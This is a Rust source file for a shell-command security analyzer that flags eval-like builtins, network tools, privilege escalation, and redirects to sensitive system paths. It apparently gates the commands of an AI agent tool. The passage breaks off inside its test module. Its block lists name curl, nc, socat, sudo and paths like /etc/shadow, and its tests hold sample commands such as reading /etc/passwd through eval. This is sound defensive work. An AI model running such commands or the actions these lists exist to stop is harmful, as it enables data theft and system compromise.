Skip to main content

bamboo_tools/permission/
bash_security.rs

1//! Bash AST-based security analysis.
2//!
3//! Uses tree-sitter to parse shell commands into an AST and perform
4//! semantic-level security analysis. Detects eval-like builtins,
5//! dangerous node types, and command substitution patterns.
6
7use std::sync::LazyLock;
8use std::time::{Duration, Instant};
9
10// ---- Constants ----
11
12/// Builtins that can execute arbitrary code or bypass security checks.
13const EVAL_LIKE_BUILTINS: &[&str] = &[
14    "eval",
15    "source",
16    ".", // alias for source
17    "exec",
18    "command",
19    "builtin",
20    "fc",
21    "coproc",
22    "noglob",
23    "nocorrect",
24    "trap",
25    "enable",
26    "mapfile",
27    "readarray",
28    "hash",
29    "bind",
30    "complete",
31    "compgen",
32];
33
34/// Zsh-specific dangerous builtins.
35const ZSH_DANGEROUS_BUILTINS: &[&str] = &[
36    "zmodload", "emulate", "sysopen", "sysread", "syswrite", "sysseek", "zpty", "ztcp", "zsocket",
37    "zf_rm", "zf_mv", "zf_ln", "zf_chmod", "zf_chown", "zf_mkdir", "zf_rmdir", "zf_chgrp",
38];
39
40/// Process wrappers stripped before checking the real command.
41const WRAPPER_COMMANDS: &[&str] = &["time", "nohup", "timeout", "nice", "stdbuf", "env"];
42
43/// Network-related commands that could exfiltrate data or download payloads.
44const NETWORK_COMMANDS: &[&str] = &["curl", "wget", "nc", "ncat", "socat", "ssh", "scp", "rsync"];
45
46/// Privilege escalation commands.
47const PRIVILEGE_ESCALATION_COMMANDS: &[&str] = &["sudo", "su", "doas", "run0", "pkexec"];
48
49/// File permission modification commands.
50const PERMISSION_MODIFICATION_COMMANDS: &[&str] = &["chmod", "chown", "chgrp", "chattr"];
51
52/// Sensitive paths that should not be redirected to.
53const SENSITIVE_REDIRECT_PATHS: &[&str] = &[
54    "/etc/passwd",
55    "/etc/shadow",
56    "/etc/sudoers",
57    "/boot/",
58    "/dev/sd",
59    "/dev/hd",
60    "/dev/nvme",
61    "/dev/mmcblk",
62    "/dev/null",
63    "/dev/zero",
64    "/dev/random",
65    "/dev/urandom",
66    "/dev/mem",
67    "/dev/kmem",
68    "/dev/port",
69    "/proc/sys",
70    "/sys/",
71    "/usr/bin/",
72    "/usr/local/bin/",
73    "/bin/",
74    "/sbin/",
75    "/lib/",
76    "/lib64/",
77    "/usr/lib/",
78    "/usr/lib64/",
79];
80
81/// Commands that can execute code via suspicious arguments.
82const CODE_EXECUTION_COMMANDS: &[&str] = &["python", "python3", "perl", "ruby", "node", "nodejs"];
83
84/// Shell commands that accept -c for code execution.
85const SHELL_COMMANDS: &[&str] = &["sh", "bash", "zsh", "dash", "ksh", "fish"];
86
87/// Commands where -exec is dangerous.
88const EXEC_COMMANDS: &[&str] = &["find", "xargs"];
89
90/// Maximum time allowed for parsing and analysis.
91const ANALYSIS_TIMEOUT_MS: u64 = 50;
92
93/// Maximum number of AST nodes to traverse.
94const MAX_NODE_COUNT: usize = 50_000;
95
96// ---- Static parser ----
97
98static PARSER: LazyLock<std::sync::Mutex<tree_sitter::Parser>> = LazyLock::new(|| {
99    let mut parser = tree_sitter::Parser::new();
100    parser
101        .set_language(&tree_sitter_bash::LANGUAGE.into())
102        .expect("failed to set bash language");
103    std::sync::Mutex::new(parser)
104});
105
106// ---- Analysis result ----
107
108/// Security analysis result for a Bash command.
109#[derive(Debug, Clone)]
110pub struct BashSecurityAnalysis {
111    /// The extracted command name (argv[0]) after wrapper stripping.
112    pub command_name: Option<String>,
113    /// Extracted arguments after wrapper stripping.
114    pub arguments: Vec<String>,
115    /// Overall verdict.
116    pub verdict: BashVerdict,
117    /// Specific warnings detected.
118    pub warnings: Vec<BashWarning>,
119    /// Time spent on analysis.
120    pub analysis_time_ms: u64,
121    /// Number of AST nodes traversed.
122    pub node_count: usize,
123}
124
125#[derive(Debug, Clone, PartialEq)]
126pub enum BashVerdict {
127    /// Command appears safe.
128    Safe,
129    /// Command has concerns but may be allowed with confirmation.
130    Allow,
131    /// Command should be blocked.
132    Deny,
133}
134
135#[derive(Debug, Clone)]
136pub struct BashWarning {
137    pub kind: BashWarningKind,
138    pub detail: String,
139}
140
141#[derive(Debug, Clone, PartialEq)]
142pub enum BashWarningKind {
143    /// eval, source, exec, etc.
144    EvalLikeBuiltin,
145    /// zmodload, zpty, etc.
146    ZshDangerous,
147    /// $(), backticks, <(), >()
148    CommandSubstitution,
149    /// ${...} parameter expansion
150    ParameterExpansion,
151    /// (subshell), {compound}, function_definition, etc.
152    ComplexConstruct,
153    /// Control flow: if/while/for/case
154    ControlFlow,
155    /// Heredoc/herestring
156    Heredoc,
157    /// Brace expansion {a,b}
158    BraceExpansion,
159    /// Process substitution <() >()
160    ProcessSubstitution,
161    /// Ansi-c string $'...'
162    AnsiCString,
163    /// Pipes, &&, ||, ;
164    ShellOperators,
165    /// Unknown AST node (fail-closed)
166    UnknownNodeType(String),
167    /// Failed to parse (fail-closed)
168    ParseFailed,
169    /// Variable used as command name ($cmd)
170    VariableAsCommand,
171    /// Suspicious arguments that may execute code
172    SuspiciousArguments,
173    /// Redirect to a sensitive system path
174    RedirectToSensitivePath,
175    /// Analysis budget (time or node count) exceeded
176    AnalysisBudgetExceeded,
177    /// Network-related command
178    NetworkCommand,
179    /// Privilege escalation command
180    PrivilegeEscalation,
181    /// File permission modification
182    PermissionModification,
183    /// Heredoc containing command substitutions or expansions
184    HeredocExpansion,
185}
186
187impl BashSecurityAnalysis {
188    pub fn is_dangerous(&self) -> bool {
189        !matches!(self.verdict, BashVerdict::Safe)
190    }
191
192    pub fn summary(&self) -> String {
193        if self.warnings.is_empty() {
194            "safe".to_string()
195        } else {
196            self.warnings
197                .iter()
198                .map(|w| format!("{:?}: {}", w.kind, w.detail))
199                .collect::<Vec<_>>()
200                .join("; ")
201        }
202    }
203}
204
205// ---- Main analysis function ----
206
207/// Analyze a Bash command string for security concerns.
208pub fn analyze_command(command: &str) -> BashSecurityAnalysis {
209    let start_time = Instant::now();
210    let mut warnings = Vec::new();
211    let mut node_count = 0usize;
212
213    let timeout = Duration::from_millis(ANALYSIS_TIMEOUT_MS);
214
215    // Phase 1: Pre-parse checks
216    if let Some(w) = pre_parse_checks(command) {
217        warnings.push(w);
218    }
219
220    // Phase 2: Parse with tree-sitter
221    let tree = {
222        let mut parser = match PARSER.lock() {
223            Ok(p) => p,
224            Err(_) => {
225                warnings.push(BashWarning {
226                    kind: BashWarningKind::ParseFailed,
227                    detail: "parser lock poisoned".to_string(),
228                });
229                return BashSecurityAnalysis {
230                    command_name: None,
231                    arguments: vec![],
232                    verdict: BashVerdict::Deny,
233                    warnings,
234                    analysis_time_ms: 0,
235                    node_count: 0,
236                };
237            }
238        };
239        parser.parse(command, None)
240    };
241
242    let Some(tree) = tree else {
243        warnings.push(BashWarning {
244            kind: BashWarningKind::ParseFailed,
245            detail: "tree-sitter failed to parse command".to_string(),
246        });
247        return BashSecurityAnalysis {
248            command_name: extract_command_name_fallback(command),
249            arguments: vec![],
250            verdict: BashVerdict::Deny,
251            warnings,
252            analysis_time_ms: start_time.elapsed().as_millis() as u64,
253            node_count: 0,
254        };
255    };
256
257    // Phase 3: Walk AST (with node budget)
258    let root = tree.root_node();
259    walk_node_with_budget(&root, command, &mut warnings, &mut node_count);
260
261    if node_count > MAX_NODE_COUNT {
262        warnings.push(BashWarning {
263            kind: BashWarningKind::AnalysisBudgetExceeded,
264            detail: format!(
265                "AST node count {} exceeded budget {}",
266                node_count, MAX_NODE_COUNT
267            ),
268        });
269        let elapsed = start_time.elapsed().as_millis() as u64;
270        return BashSecurityAnalysis {
271            command_name: None,
272            arguments: vec![],
273            verdict: BashVerdict::Deny,
274            warnings,
275            analysis_time_ms: elapsed,
276            node_count,
277        };
278    }
279
280    // Phase 4: Extract command + strip wrappers
281    let (cmd_name, args) = extract_and_strip_command(&root, command);
282
283    // Phase 5: Check command against builtin lists
284    if let Some(ref name) = cmd_name {
285        let name_lower = name.to_ascii_lowercase();
286
287        if EVAL_LIKE_BUILTINS.iter().any(|b| *b == name_lower) {
288            warnings.push(BashWarning {
289                kind: BashWarningKind::EvalLikeBuiltin,
290                detail: format!(
291                    "command '{}' is an eval-like builtin that can execute arbitrary code",
292                    name
293                ),
294            });
295        }
296
297        if ZSH_DANGEROUS_BUILTINS.iter().any(|b| *b == name_lower) {
298            warnings.push(BashWarning {
299                kind: BashWarningKind::ZshDangerous,
300                detail: format!("command '{}' is a dangerous zsh builtin", name),
301            });
302        }
303    }
304
305    // Phase 6: Timeout check before Phase 2 validators
306    if start_time.elapsed() > timeout {
307        warnings.push(BashWarning {
308            kind: BashWarningKind::AnalysisBudgetExceeded,
309            detail: "analysis timeout before Phase 2 validators".to_string(),
310        });
311        let elapsed = start_time.elapsed().as_millis() as u64;
312        return BashSecurityAnalysis {
313            command_name: cmd_name,
314            arguments: args,
315            verdict: BashVerdict::Deny,
316            warnings,
317            analysis_time_ms: elapsed,
318            node_count,
319        };
320    }
321
322    // Phase 7: Phase 2 security validators
323    warnings.extend(check_redirects(&tree, command));
324    warnings.extend(check_variable_command(&tree));
325    warnings.extend(check_suspicious_arguments(&tree, command));
326
327    if start_time.elapsed() > timeout {
328        warnings.push(BashWarning {
329            kind: BashWarningKind::AnalysisBudgetExceeded,
330            detail: "analysis timeout after argument checks".to_string(),
331        });
332        let elapsed = start_time.elapsed().as_millis() as u64;
333        return BashSecurityAnalysis {
334            command_name: cmd_name.clone(),
335            arguments: args.clone(),
336            verdict: BashVerdict::Deny,
337            warnings,
338            analysis_time_ms: elapsed,
339            node_count,
340        };
341    }
342
343    if let Some(ref name) = cmd_name {
344        let name_lower = name.to_ascii_lowercase();
345        warnings.extend(check_network_commands(&name_lower));
346        warnings.extend(check_privilege_escalation(&name_lower));
347        warnings.extend(check_permission_modification(&name_lower, &args));
348    }
349
350    warnings.extend(check_heredoc_expansions(&tree, command));
351
352    // Phase 8: Determine verdict
353    let verdict = determine_verdict(&warnings);
354    let elapsed = start_time.elapsed().as_millis() as u64;
355
356    BashSecurityAnalysis {
357        command_name: cmd_name,
358        arguments: args,
359        verdict,
360        warnings,
361        analysis_time_ms: elapsed,
362        node_count,
363    }
364}
365
366// ---- Pre-parse checks ----
367
368fn pre_parse_checks(command: &str) -> Option<BashWarning> {
369    // Control characters
370    let has_control = command
371        .bytes()
372        .any(|b| matches!(b, 0x00..=0x08 | 0x0B..=0x0C | 0x0E..=0x1F | 0x7F));
373    if has_control {
374        return Some(BashWarning {
375            kind: BashWarningKind::ParseFailed,
376            detail: "command contains control characters".to_string(),
377        });
378    }
379
380    None
381}
382
383// ---- AST walking ----
384
385fn walk_node_with_budget(
386    node: &tree_sitter::Node,
387    source: &str,
388    warnings: &mut Vec<BashWarning>,
389    node_count: &mut usize,
390) {
391    let kind = node.kind();
392    *node_count += 1;
393
394    // Skip safe leaf nodes
395    if node.child_count() == 0 {
396        return;
397    }
398
399    match kind {
400        // Safe structural nodes — recurse into children
401        "program"
402        | "list"
403        | "pipeline"
404        | "redirected_statement"
405        | "command"
406        | "command_name"
407        | "concatenation"
408        | "variable_assignment"
409        | "declaration_command"
410        | "file_redirect" => {
411            for i in 0..node.child_count() {
412                if let Some(child) = node.child(i as u32) {
413                    walk_node_with_budget(&child, source, warnings, node_count);
414                }
415            }
416        }
417
418        // Tracked but not outright blocked
419        "command_substitution" => {
420            let text = node_text(node, source);
421            warnings.push(BashWarning {
422                kind: BashWarningKind::CommandSubstitution,
423                detail: format!("command substitution: {}", truncate(&text, 60)),
424            });
425        }
426
427        "expansion" => {
428            let text = node_text(node, source);
429            warnings.push(BashWarning {
430                kind: BashWarningKind::ParameterExpansion,
431                detail: format!("parameter expansion: {}", truncate(&text, 60)),
432            });
433        }
434
435        "process_substitution" => {
436            let text = node_text(node, source);
437            warnings.push(BashWarning {
438                kind: BashWarningKind::ProcessSubstitution,
439                detail: format!("process substitution: {}", truncate(&text, 60)),
440            });
441        }
442
443        "subshell" => {
444            warnings.push(BashWarning {
445                kind: BashWarningKind::ComplexConstruct,
446                detail: "subshell ( ... )".to_string(),
447            });
448            for i in 0..node.child_count() {
449                if let Some(child) = node.child(i as u32) {
450                    walk_node_with_budget(&child, source, warnings, node_count);
451                }
452            }
453        }
454
455        "compound_statement" => {
456            warnings.push(BashWarning {
457                kind: BashWarningKind::ComplexConstruct,
458                detail: "compound statement { ... }".to_string(),
459            });
460            for i in 0..node.child_count() {
461                if let Some(child) = node.child(i as u32) {
462                    walk_node_with_budget(&child, source, warnings, node_count);
463                }
464            }
465        }
466
467        "function_definition" => {
468            warnings.push(BashWarning {
469                kind: BashWarningKind::ComplexConstruct,
470                detail: "function definition".to_string(),
471            });
472            for i in 0..node.child_count() {
473                if let Some(child) = node.child(i as u32) {
474                    walk_node_with_budget(&child, source, warnings, node_count);
475                }
476            }
477        }
478
479        // Control flow
480        "if_statement" | "for_statement" | "while_statement" | "until_statement"
481        | "case_statement" => {
482            warnings.push(BashWarning {
483                kind: BashWarningKind::ControlFlow,
484                detail: format!("control flow: {}", kind),
485            });
486            for i in 0..node.child_count() {
487                if let Some(child) = node.child(i as u32) {
488                    walk_node_with_budget(&child, source, warnings, node_count);
489                }
490            }
491        }
492
493        "heredoc_redirect" | "herestring_redirect" => {
494            warnings.push(BashWarning {
495                kind: BashWarningKind::Heredoc,
496                detail: kind.to_string(),
497            });
498        }
499
500        "brace_expression" => {
501            let text = node_text(node, source);
502            warnings.push(BashWarning {
503                kind: BashWarningKind::BraceExpansion,
504                detail: format!("brace expansion: {}", truncate(&text, 40)),
505            });
506        }
507
508        "ansi_c_string" => {
509            let text = node_text(node, source);
510            warnings.push(BashWarning {
511                kind: BashWarningKind::AnsiCString,
512                detail: format!("ansi-c string: {}", truncate(&text, 40)),
513            });
514        }
515
516        // Known safe leaf/structural nodes — no action needed
517        "word"
518        | "string"
519        | "raw_string"
520        | "simple_expansion"
521        | "number"
522        | "special_variable_name"
523        | "environment_variable"
524        | "test_operator"
525        | "unsetting_command"
526        | "heredoc_body"
527        | "heredoc_start"
528        | "heredoc_end" => {}
529
530        // Fail-closed: unknown node types
531        _ => {
532            // Skip punctuation and anonymous nodes (prefixed with '.')
533            if !kind.starts_with('.') && !kind.starts_with('\n') {
534                warnings.push(BashWarning {
535                    kind: BashWarningKind::UnknownNodeType(kind.to_string()),
536                    detail: format!("unknown AST node type: {}", kind),
537                });
538            }
539        }
540    }
541}
542
543// ---- Command extraction + wrapper stripping ----
544
545fn extract_and_strip_command(
546    root: &tree_sitter::Node,
547    source: &str,
548) -> (Option<String>, Vec<String>) {
549    let commands = collect_commands(root, source);
550    let Some((name, args)) = commands.first() else {
551        return (extract_command_name_fallback(source), vec![]);
552    };
553
554    // Strip wrappers
555    let stripped = strip_wrappers(name.as_str(), args);
556    (Some(stripped.0.to_string()), stripped.1.to_vec())
557}
558
559fn collect_commands(node: &tree_sitter::Node, source: &str) -> Vec<(String, Vec<String>)> {
560    let mut commands = Vec::new();
561    collect_commands_recursive(node, source, &mut commands);
562    if commands.is_empty() {
563        if let Some(fallback) = extract_command_name_fallback(source) {
564            commands.push((fallback, vec![]));
565        }
566    }
567    commands
568}
569
570fn collect_commands_recursive(
571    node: &tree_sitter::Node,
572    source: &str,
573    commands: &mut Vec<(String, Vec<String>)>,
574) {
575    match node.kind() {
576        "command" => {
577            if let Some(cmd) = extract_command_from_node(node, source) {
578                commands.push(cmd);
579            }
580        }
581        "program"
582        | "list"
583        | "pipeline"
584        | "redirected_statement"
585        | "subshell"
586        | "compound_statement"
587        | "if_statement"
588        | "for_statement"
589        | "while_statement"
590        | "until_statement"
591        | "case_statement"
592        | "function_definition" => {
593            for i in 0..node.child_count() {
594                if let Some(child) = node.child(i as u32) {
595                    collect_commands_recursive(&child, source, commands);
596                }
597            }
598        }
599        _ => {}
600    }
601}
602
603fn extract_command_from_node(
604    node: &tree_sitter::Node,
605    source: &str,
606) -> Option<(String, Vec<String>)> {
607    let mut name: Option<String> = None;
608    let mut args: Vec<String> = Vec::new();
609
610    for i in 0..node.child_count() {
611        let child = node.child(i as u32)?;
612        match child.kind() {
613            "command_name" => {
614                name = Some(node_text(&child, source));
615            }
616            "word" | "string" | "raw_string" | "number" | "simple_expansion" | "concatenation"
617            | "expansion" => {
618                let text = node_text(&child, source);
619                if !text.is_empty() {
620                    args.push(text);
621                }
622            }
623            _ => {}
624        }
625    }
626
627    name.map(|n| (n, args))
628}
629
630/// Strip process wrappers (time, nohup, timeout, nice, stdbuf, env).
631fn strip_wrappers<'a>(name: &'a str, args: &'a [String]) -> (&'a str, &'a [String]) {
632    if !WRAPPER_COMMANDS.contains(&name.to_ascii_lowercase().as_str()) {
633        return (name, args);
634    }
635
636    match name {
637        "time" | "nohup" => {
638            // Simple: just skip the wrapper, next arg is the real command
639            if args.is_empty() {
640                return (name, args);
641            }
642            strip_wrappers(&args[0], &args[1..])
643        }
644        "timeout" => {
645            // timeout [flags] DURATION COMMAND [args...]
646            // Skip flags (--foreground, --preserve-status, --verbose, -k, -s)
647            let mut i = 0;
648            while i < args.len() {
649                let arg = &args[i];
650                if arg.starts_with("--kill-after") || arg.starts_with("--signal") {
651                    // --kill-after=N (fused) or --kill-after N (separate)
652                    if !arg.contains('=') {
653                        i += 1; // skip value
654                    }
655                } else if arg.starts_with('-') && arg != "-foreground" {
656                    // Short flags like -k DUR, -s SIG
657                    if arg == "-k" || arg == "-s" {
658                        i += 1; // skip value
659                    }
660                } else {
661                    // This is the DURATION, next is the real command
662                    i += 1;
663                    break;
664                }
665                i += 1;
666            }
667            if i < args.len() {
668                strip_wrappers(&args[i], &args[i + 1..])
669            } else {
670                (name, args)
671            }
672        }
673        "nice" => {
674            // nice [-n N] COMMAND or nice [-N] COMMAND
675            if args.len() >= 2 && (args[0] == "-n" && args[1].parse::<i32>().is_ok()) {
676                strip_wrappers(&args[2], &args[3..])
677            } else if !args.is_empty()
678                && args[0].starts_with('-')
679                && args[0].len() > 1
680                && args[0][1..].parse::<i32>().is_ok()
681            {
682                strip_wrappers(&args[1], &args[2..])
683            } else {
684                strip_wrappers(
685                    args.first().map(|s| s.as_str()).unwrap_or(name),
686                    args.get(1..).unwrap_or(args),
687                )
688            }
689        }
690        "stdbuf" | "env" => {
691            // stdbuf -o0 COMMAND / env VAR=val COMMAND
692            let mut i = 0;
693            while i < args.len() {
694                let arg = &args[i];
695                if arg.contains('=') {
696                    // VAR=val assignment
697                } else if arg.starts_with('-') {
698                    // Flags
699                    if arg == "-i" || arg == "-0" || arg == "-v" {
700                        // no-value flags
701                    } else if arg == "-u" || arg.starts_with("-o") || arg.starts_with("-e") {
702                        // -u NAME, -o0, -e0 etc
703                        if !arg.contains('0') && !arg.contains('1') {
704                            i += 1; // skip value
705                        }
706                    }
707                } else {
708                    // This is the real command
709                    return strip_wrappers(arg, &args[i + 1..]);
710                }
711                i += 1;
712            }
713            (name, args)
714        }
715        _ => (name, args),
716    }
717}
718
719/// Fallback: extract first word from command string without AST.
720fn extract_command_name_fallback(command: &str) -> Option<String> {
721    command.split_whitespace().next().map(|s| s.to_string())
722}
723
724// ---- Verdict determination ----
725
726fn determine_verdict(warnings: &[BashWarning]) -> BashVerdict {
727    let has_eval = warnings
728        .iter()
729        .any(|w| w.kind == BashWarningKind::EvalLikeBuiltin);
730    let has_zsh = warnings
731        .iter()
732        .any(|w| w.kind == BashWarningKind::ZshDangerous);
733    let has_parse_fail = warnings
734        .iter()
735        .any(|w| w.kind == BashWarningKind::ParseFailed);
736    let has_unknown = warnings
737        .iter()
738        .any(|w| matches!(w.kind, BashWarningKind::UnknownNodeType(_)));
739    let has_budget_exceeded = warnings
740        .iter()
741        .any(|w| w.kind == BashWarningKind::AnalysisBudgetExceeded);
742    let has_redirect_sensitive = warnings
743        .iter()
744        .any(|w| w.kind == BashWarningKind::RedirectToSensitivePath);
745    let has_variable_as_command = warnings
746        .iter()
747        .any(|w| w.kind == BashWarningKind::VariableAsCommand);
748
749    // Hard deny: eval-like, zsh dangerous, parse failure, unknown nodes, budget exceeded,
750    // redirect to sensitive path, variable as command
751    if has_eval
752        || has_zsh
753        || has_parse_fail
754        || has_unknown
755        || has_budget_exceeded
756        || has_redirect_sensitive
757        || has_variable_as_command
758    {
759        return BashVerdict::Deny;
760    }
761
762    // Allow with warning for: command substitution, control flow, complex constructs, etc.
763    if !warnings.is_empty() {
764        return BashVerdict::Allow;
765    }
766
767    BashVerdict::Safe
768}
769
770// ---- Helpers ----
771
772fn node_text(node: &tree_sitter::Node, source: &str) -> String {
773    source[node.byte_range()].to_string()
774}
775
776fn truncate(s: &str, max: usize) -> String {
777    if s.len() <= max {
778        s.to_string()
779    } else {
780        format!("{}...", &s[..max])
781    }
782}
783
784// ---- Phase 2 Security Validators ----
785
786fn check_redirects(tree: &tree_sitter::Tree, source: &str) -> Vec<BashWarning> {
787    let mut warnings = Vec::new();
788    let root = tree.root_node();
789    check_redirects_node(&root, source, &mut warnings);
790    warnings
791}
792
793fn check_redirects_node(node: &tree_sitter::Node, source: &str, warnings: &mut Vec<BashWarning>) {
794    if node.kind() == "file_redirect" {
795        let mut redirect_op: Option<String> = None;
796        let mut target_path: Option<String> = None;
797
798        for i in 0..node.child_count() {
799            if let Some(child) = node.child(i as u32) {
800                let kind = child.kind();
801                let text = node_text(&child, source);
802                if kind == "file_descriptor" || kind == "redirect_operator" {
803                    redirect_op = Some(text);
804                } else if kind == "word" || kind == "string" || kind == "raw_string" {
805                    target_path = Some(text);
806                }
807            }
808        }
809
810        if let Some(path) = target_path {
811            let path_lower = path.to_ascii_lowercase();
812            let is_sensitive = SENSITIVE_REDIRECT_PATHS
813                .iter()
814                .any(|p| path_lower.starts_with(*p));
815            if is_sensitive {
816                let op = redirect_op.as_deref().unwrap_or(">");
817                let is_overwrite = op.contains('>') && !op.contains(">>");
818                let detail = if is_overwrite {
819                    format!("overwrite redirect to sensitive path: {}", path)
820                } else {
821                    format!("redirect to sensitive path: {}", path)
822                };
823                warnings.push(BashWarning {
824                    kind: BashWarningKind::RedirectToSensitivePath,
825                    detail,
826                });
827            }
828        }
829    }
830
831    for i in 0..node.child_count() {
832        if let Some(child) = node.child(i as u32) {
833            check_redirects_node(&child, source, warnings);
834        }
835    }
836}
837
838fn check_variable_command(tree: &tree_sitter::Tree) -> Vec<BashWarning> {
839    let mut warnings = Vec::new();
840    let root = tree.root_node();
841    check_variable_command_node(&root, &mut warnings);
842    warnings
843}
844
845fn check_variable_command_node(node: &tree_sitter::Node, warnings: &mut Vec<BashWarning>) {
846    if node.kind() == "command" {
847        for i in 0..node.child_count() {
848            if let Some(child) = node.child(i as u32) {
849                if child.kind() == "command_name" {
850                    for j in 0..child.child_count() {
851                        if let Some(name_child) = child.child(j as u32) {
852                            let kind = name_child.kind();
853                            if kind == "simple_expansion" || kind == "expansion" {
854                                warnings.push(BashWarning {
855                                    kind: BashWarningKind::VariableAsCommand,
856                                    detail: format!(
857                                        "command name is a variable expansion: {}",
858                                        kind
859                                    ),
860                                });
861                            }
862                        }
863                    }
864                }
865            }
866        }
867    }
868
869    for i in 0..node.child_count() {
870        if let Some(child) = node.child(i as u32) {
871            check_variable_command_node(&child, warnings);
872        }
873    }
874}
875
876fn check_suspicious_arguments(tree: &tree_sitter::Tree, source: &str) -> Vec<BashWarning> {
877    let mut warnings = Vec::new();
878    let root = tree.root_node();
879    check_suspicious_arguments_node(&root, source, &mut warnings);
880    warnings
881}
882
883fn check_suspicious_arguments_node(
884    node: &tree_sitter::Node,
885    source: &str,
886    warnings: &mut Vec<BashWarning>,
887) {
888    if node.kind() == "command" {
889        let mut cmd_name: Option<String> = None;
890        let mut args: Vec<String> = Vec::new();
891
892        for i in 0..node.child_count() {
893            if let Some(child) = node.child(i as u32) {
894                match child.kind() {
895                    "command_name" => {
896                        cmd_name = Some(node_text(&child, source).to_ascii_lowercase());
897                    }
898                    "word" | "string" | "raw_string" | "number" | "simple_expansion"
899                    | "concatenation" | "expansion" => {
900                        let text = node_text(&child, source);
901                        if !text.is_empty() {
902                            args.push(text);
903                        }
904                    }
905                    _ => {}
906                }
907            }
908        }
909
910        if let Some(ref name) = cmd_name {
911            let name_lower = name.as_str();
912            // Check for python/perl/ruby/node -c, --eval/-e followed by code
913            if CODE_EXECUTION_COMMANDS.contains(&name_lower) {
914                for (i, arg) in args.iter().enumerate() {
915                    if (arg == "--eval" || arg == "-e" || arg == "-c") && i + 1 < args.len() {
916                        warnings.push(BashWarning {
917                            kind: BashWarningKind::SuspiciousArguments,
918                            detail: format!(
919                                "{} {} '{}' may execute arbitrary code",
920                                name,
921                                arg,
922                                args[i + 1]
923                            ),
924                        });
925                    }
926                }
927            }
928
929            // Check for shell -c
930            if SHELL_COMMANDS.contains(&name_lower) {
931                for (i, arg) in args.iter().enumerate() {
932                    if arg == "-c" && i + 1 < args.len() {
933                        warnings.push(BashWarning {
934                            kind: BashWarningKind::SuspiciousArguments,
935                            detail: format!("{} -c '{}' executes shell code", name, args[i + 1]),
936                        });
937                    }
938                }
939            }
940
941            // Check for find/xargs -exec
942            if EXEC_COMMANDS.contains(&name_lower) {
943                for arg in &args {
944                    if arg == "-exec" || arg == "-execdir" {
945                        warnings.push(BashWarning {
946                            kind: BashWarningKind::SuspiciousArguments,
947                            detail: format!("{} with -exec may execute arbitrary commands", name),
948                        });
949                    }
950                }
951            }
952        }
953    }
954
955    for i in 0..node.child_count() {
956        if let Some(child) = node.child(i as u32) {
957            check_suspicious_arguments_node(&child, source, warnings);
958        }
959    }
960}
961
962fn check_network_commands(command_name: &str) -> Vec<BashWarning> {
963    let mut warnings = Vec::new();
964    if NETWORK_COMMANDS.contains(&command_name) {
965        warnings.push(BashWarning {
966            kind: BashWarningKind::NetworkCommand,
967            detail: format!("network command: {}", command_name),
968        });
969    }
970    warnings
971}
972
973fn check_privilege_escalation(command_name: &str) -> Vec<BashWarning> {
974    let mut warnings = Vec::new();
975    if PRIVILEGE_ESCALATION_COMMANDS.contains(&command_name) {
976        warnings.push(BashWarning {
977            kind: BashWarningKind::PrivilegeEscalation,
978            detail: format!("privilege escalation: {}", command_name),
979        });
980    }
981    warnings
982}
983
984fn check_permission_modification(command_name: &str, args: &[String]) -> Vec<BashWarning> {
985    let mut warnings = Vec::new();
986    if PERMISSION_MODIFICATION_COMMANDS.contains(&command_name) {
987        // Check if any argument targets a sensitive path
988        let has_sensitive_target = args.iter().any(|arg| {
989            let arg_lower = arg.to_ascii_lowercase();
990            SENSITIVE_REDIRECT_PATHS
991                .iter()
992                .any(|p| arg_lower.starts_with(*p))
993        });
994        if has_sensitive_target {
995            warnings.push(BashWarning {
996                kind: BashWarningKind::PermissionModification,
997                detail: format!("{} modifying permissions on sensitive path", command_name),
998            });
999        }
1000    }
1001    warnings
1002}
1003
1004fn check_heredoc_expansions(tree: &tree_sitter::Tree, source: &str) -> Vec<BashWarning> {
1005    let mut warnings = Vec::new();
1006    let root = tree.root_node();
1007    check_heredoc_expansions_node(&root, source, &mut warnings);
1008    warnings
1009}
1010
1011fn check_heredoc_expansions_node(
1012    node: &tree_sitter::Node,
1013    source: &str,
1014    warnings: &mut Vec<BashWarning>,
1015) {
1016    if node.kind() == "heredoc_body" {
1017        let body_text = node_text(node, source);
1018        if body_text.contains("$(") || body_text.contains("`${") || body_text.contains("$`{") {
1019            warnings.push(BashWarning {
1020                kind: BashWarningKind::HeredocExpansion,
1021                detail: "heredoc contains command substitution".to_string(),
1022            });
1023        } else if body_text.contains("${") || body_text.contains("$") {
1024            warnings.push(BashWarning {
1025                kind: BashWarningKind::HeredocExpansion,
1026                detail: "heredoc contains variable expansion".to_string(),
1027            });
1028        }
1029    }
1030
1031    for i in 0..node.child_count() {
1032        if let Some(child) = node.child(i as u32) {
1033            check_heredoc_expansions_node(&child, source, warnings);
1034        }
1035    }
1036}
1037
1038#[cfg(test)]
1039mod tests {
1040    use super::*;
1041
1042    // ---- Safe commands ----
1043
1044    #[test]
1045    fn safe_simple_commands() {
1046        let cases = ["ls -la", "echo hello", "pwd", "cat file.txt", "git status"];
1047        for cmd in cases {
1048            let analysis = analyze_command(cmd);
1049            assert_eq!(
1050                analysis.verdict,
1051                BashVerdict::Safe,
1052                "expected safe: {}",
1053                cmd
1054            );
1055            assert!(
1056                analysis.warnings.is_empty(),
1057                "unexpected warnings for: {}",
1058                cmd
1059            );
1060        }
1061    }
1062
1063    // ---- Eval-like builtins ----
1064
1065    #[test]
1066    fn detects_eval() {
1067        let analysis = analyze_command("eval 'cat /etc/passwd'");
1068        assert_eq!(analysis.verdict, BashVerdict::Deny);
1069        assert!(analysis
1070            .warnings
1071            .iter()
1072            .any(|w| w.kind == BashWarningKind::EvalLikeBuiltin));
1073        assert_eq!(analysis.command_name.as_deref(), Some("eval"));
1074    }
1075
1076    #[test]
1077    fn detects_source() {
1078        let analysis = analyze_command("source malicious.sh");
1079        assert_eq!(analysis.verdict, BashVerdict::Deny);
1080        assert!(analysis
1081            .warnings
1082            .iter()
1083            .any(|w| w.kind == BashWarningKind::EvalLikeBuiltin));
1084    }
1085
1086    #[test]
1087    fn detects_exec() {
1088        let analysis = analyze_command("exec /bin/bash");
1089        assert_eq!(analysis.verdict, BashVerdict::Deny);
1090        assert!(analysis
1091            .warnings
1092            .iter()
1093            .any(|w| w.kind == BashWarningKind::EvalLikeBuiltin));
1094    }
1095
1096    #[test]
1097    fn detects_dot_source() {
1098        // "." is the alias for source — tree-sitter parses it as command_name
1099        let analysis = analyze_command(". ./setup.sh");
1100        assert_eq!(analysis.verdict, BashVerdict::Deny);
1101    }
1102
1103    // ---- Zsh dangerous ----
1104
1105    #[test]
1106    fn detects_zsh_dangerous() {
1107        let analysis = analyze_command("zmodload zsh/system");
1108        assert_eq!(analysis.verdict, BashVerdict::Deny);
